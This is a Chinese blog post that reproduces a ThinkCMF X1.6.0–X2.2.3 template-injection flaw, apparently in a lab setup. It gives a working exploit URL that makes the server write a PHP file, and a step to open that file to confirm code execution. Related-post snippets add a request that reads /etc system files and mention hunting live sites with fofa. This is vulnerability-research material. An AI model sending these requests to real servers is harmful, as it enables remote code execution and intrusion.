thinkcmf 文件包含 x1.6.0-x2.2.3漏洞复现

已于 2024-04-03 09:46:39 修改
阅读量859 收藏
点赞数
文章标签： 安全 php 服务器
于 2022-09-23 13:13:33 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42675091/article/details/127008751
版权

1.漏洞描述

        ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架。 攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

2.写入包含文件

http://ip:48769/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

未报错

bb989c0f0b5a4b41b7197cb6be0e98b4.png

 

 

3.访问页面

http://ip:48769/test.php

b82dda1290de4773841945c6fca4bff8.png

 

 

weixin_42675091
关注
ThinkCMF上传漏洞
X__WY__X的博客
09-14 858
ThinkCMF上传漏洞 一.漏洞描述 ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 ThinkCMF X2.2.3 二.漏洞原理 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架，底层采用ThinkPHP3.2.3构建。攻击者可利用此漏洞构造恶意的url，向服务器写入任意内容的文件，达到远程代码执行的目的。 三.环境搭建 下载ThinkCMF X2.2.0 链接：https:
thinkCMF 文件包含漏洞
Hacker_by_V的博客
09-09 1667
thinkCMF 文件包含漏洞 昨天给大家复现了tomcat CVE-2020-1938漏洞，那今天咱们一起再来看看，最为经典的thinkCMF文件包含漏洞。 ​ 首先我们在去介绍这个漏洞之前，我们需要先了解一下这个漏洞thinkCMF。 thinkCMF它是一个开源的，支持swoole的开源内容管理框架，让web开发更快，节约时间，这个框架的话是基于thinkphp的二次开发框架，所以说在我们国内还是有大部分的网站使用到这样的一个框架的。 那么我们可以想象一下如果这个框架出现了一个漏洞，那它的影响范围是
thinkcmf 文件包含 x1.6.0-x2.2.3
最新发布
qq_23003811的博客
07-22 180
攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架。1、漏洞验证，访问/test.php。
【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3
10-14 1748
【thinkcmf-文件包含】public函数
thinkcmf文件包含x1.6.0-x2.2.3漏洞复现
YouthBelief的博客
05-10 1202
所有文章，仅供安全研究与学习之用，后果自负! thinkcmf文件包含x1.6.0-x2.2.3thinkcmf文件包含x1.6.0-x2.2.30x01 漏洞描述0x02 影响范围0x03 漏洞复现3.0 包含readme3.1 phpinfo3.2 webshell3.3 system0x04 漏洞修复 thinkcmf文件包含x1.6.0-x2.2.3 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制，框
thinkcmf 文件包含 x1.6.0-x2.2.3 已亲自复现
qq_42430287的博客
12-27 815
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架，底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制，框架自身提供基础的管理功能，而开发者可以根据自身的需求以应用的形式进行扩展。远程攻击者在无需任何权限情况下，通过构造特定的请求包即可在远程服务器上执行任意代码。ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2受害者IP：192.168.63.129:9390
ThinkCMF文件包含x1.6.0-x2.2.3
m0_65150886的博客
01-22 487
display函数的作用是加载模板和页面输出，所对应的参数为：templateFile模板文件地址，charset模板字符集，contentType输出类型，content输出内容。fetch函数的作用是获取页面内容，调用内置模板引擎fetch方法，thinkphp的模版引擎使用的是smarty，在smarty中当key和value可控时便可以形成模板注入。fetch和display的用法差不多，二者的区别就是display方法直接输出模板文件渲染后的内容，而fetch方法是返回模板文件渲染后的内容。
onnxruntime-1.6.0-cp38-cp38-linux_armv7l.whl.zip
06-10
2. **onnxruntime-1.6.0-cp38-cp38-linux_armv7l.whl**：这是核心文件，包含了ONNX Runtime库的二进制代码，适用于Python 3.8版本，并且是为ARMv7架构的Linux系统优化的。 安装ONNX Runtime的步骤通常包括： 1. ...
tree-1.6.0-10.el7.x86_64.rpm
04-17
tree 命令英文理解为树的意思，其功能是是创建文件列表，将目录所有文件以树状的形式列出来。是一款在颜值上优先于ls的命令。本次上传的安装包适用于红帽7、centOS7 linux中的tree命令默认并不会安装， [root@...
torch-1.6.0-cp36-cp36m-linux_aarch64.whl
08-04
官网提供了下载地址：https://forums.developer.nvidia.com/t/pytorch-for-jetson-nano-version-1-5-0-now-available/72048，我这边下载好上传到csdn。
ThinkCMFX2.2.3_20161213.zip
01-23
ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架，ThinkCMF提出灵活的应用机制，框架自身提供基础的管理功能，而开发者可以根据自身的需求以应用的形式进行扩展，每个应用都能独立的完成自己的任务，也可通过系统调用其他应用进行协同工作。 ThinkCMFX 2.2.3 更新日志：2016-12-13 * 修复后台部分浏览器无法上传问题； * 优化chrome 上传文件时,打开文件选择框慢； * 修复后台文件添加编辑相册图片移除浏览器不兼容问题； * 修复文件上传在遨游下不能上传文件问题； * 修复后台登录错误时提示无样式。
PCL-1.6.0-AllInOne-msvc2010-win64.part1.rar
04-09
日常分享：pcl是功能强大的三维点云处理库，资源为1.6版本，可直接安装，自带64位debug/release动静态链接库和第三方库，适用于VS2010。
Flume-ng-1.6.0-cdh.zip
04-08
Flume-ng-1.6.0-cdh.zip 内压缩了 3 个项目，分别为：flume-ng-1.6.0-cdh5.5.0.tar.gz、flume-ng-1.6.0-cdh5.7.0.tar.gz 和 flume-ng-1.6.0-cdh5.10.1.tar.gz，选择你需要的版本。
【组件攻击链】ThinkCMF 高危漏洞分析与利用
further_eye的博客
11-18 1307
ThinkCMF X2.x系列最大的风险存在于ThinkCMF框架中Controller中的两个模板操作函数。ThinkCMF 5系列近两年比较出名的就是CVE-2019-6713、CVE-2019-7580两个后台任意代码执行漏洞。
ThinkCMF框架任意内容包含漏洞
qq_17754023的博客
02-28 2221
ThinkCMF简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架，底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制，框架自身提供基础的管理功能，而开发者可以根据自身的需求以应用的形式进行扩展 每个应用都能独立的完成自己的任务，也可通过系统调用其他应用进行协同工作。在这种运行机制下，开发商场应用的用户无需关心开发SNS应用时是如何工作的，但他们之间又可通过系统本身进行协调，大大的降低了开发成本和沟通成本 漏洞介绍 远程攻击者在无需任何权限情况下，通过构造特定的
记录 ThinkCMF 框架 X2.2.3 版本漏洞发现与解决
Peak Xin's Blog
03-24 871
接到网警通知，说网站有安全漏洞，根据网警提供的检测报告，经过各种尝试，终于复现了，现在记录这一激动人心的时刻。因为它的这两个方法是公用的，我们需要把它改为私用的，这样才可以不被前端的用户去任意的利用。，根据网警提供的检测报告在postman工具上操作复现漏洞情况。那找解决方法吧，升级框架肯定是不现实的，好歹是找了解决方案。网站是基于ThinkCMF框架搭建的，查看版本是。点击发送，看看结果，意不意外惊不惊喜！修复后，再次访问，解决了。
ThinkCMF 任意文件包含漏洞复现
weixin_43740200的博客
11-15 899
这几天看到ThiknCMF存在任意文件包含漏洞，闲下来复现一下。 搭建环境，放到服务器上。 先来试试读取README文件 http://127.0.0.1/?a=display&templateFile=REMADE.md kn1feemmm,好使，再来读读系统文件 http://127.0.0.1/?a=display&templateFile=/etc/pa...
ThinkCMF框架任意文件包含漏洞学习复现小记
Junior_Q的博客
10-10 1289
前言 跟随大佬学习，了解学习了ThinkCMF任意文件包含漏洞，并进行了一次渗透，下面来写个学习笔记记录一下 影响版本 ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 漏洞危害 任何人在无需任何权限情况下，通过构造特定的请求包即可在远程服务器上执行任意代码。 实战 因为是学习，所以直接fofa语法搜索‘app=“ThinkCMF”’，虽然搜索出来很多，但找到一个确实有漏洞的还要花很长时间， 下面
tree-1.6.0-10.el7.x86_64.rpm包下载
01-15
tree-1.6.0-10.el7.x86_64.rpm是一个用于Linux操作系统的软件包。如果您需要下载这个软件包，首先需要找到一个可信赖的软件源或官方网站。之后，在终端或命令行中使用wget或curl等命令来下载这个软件包。下载完成后...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值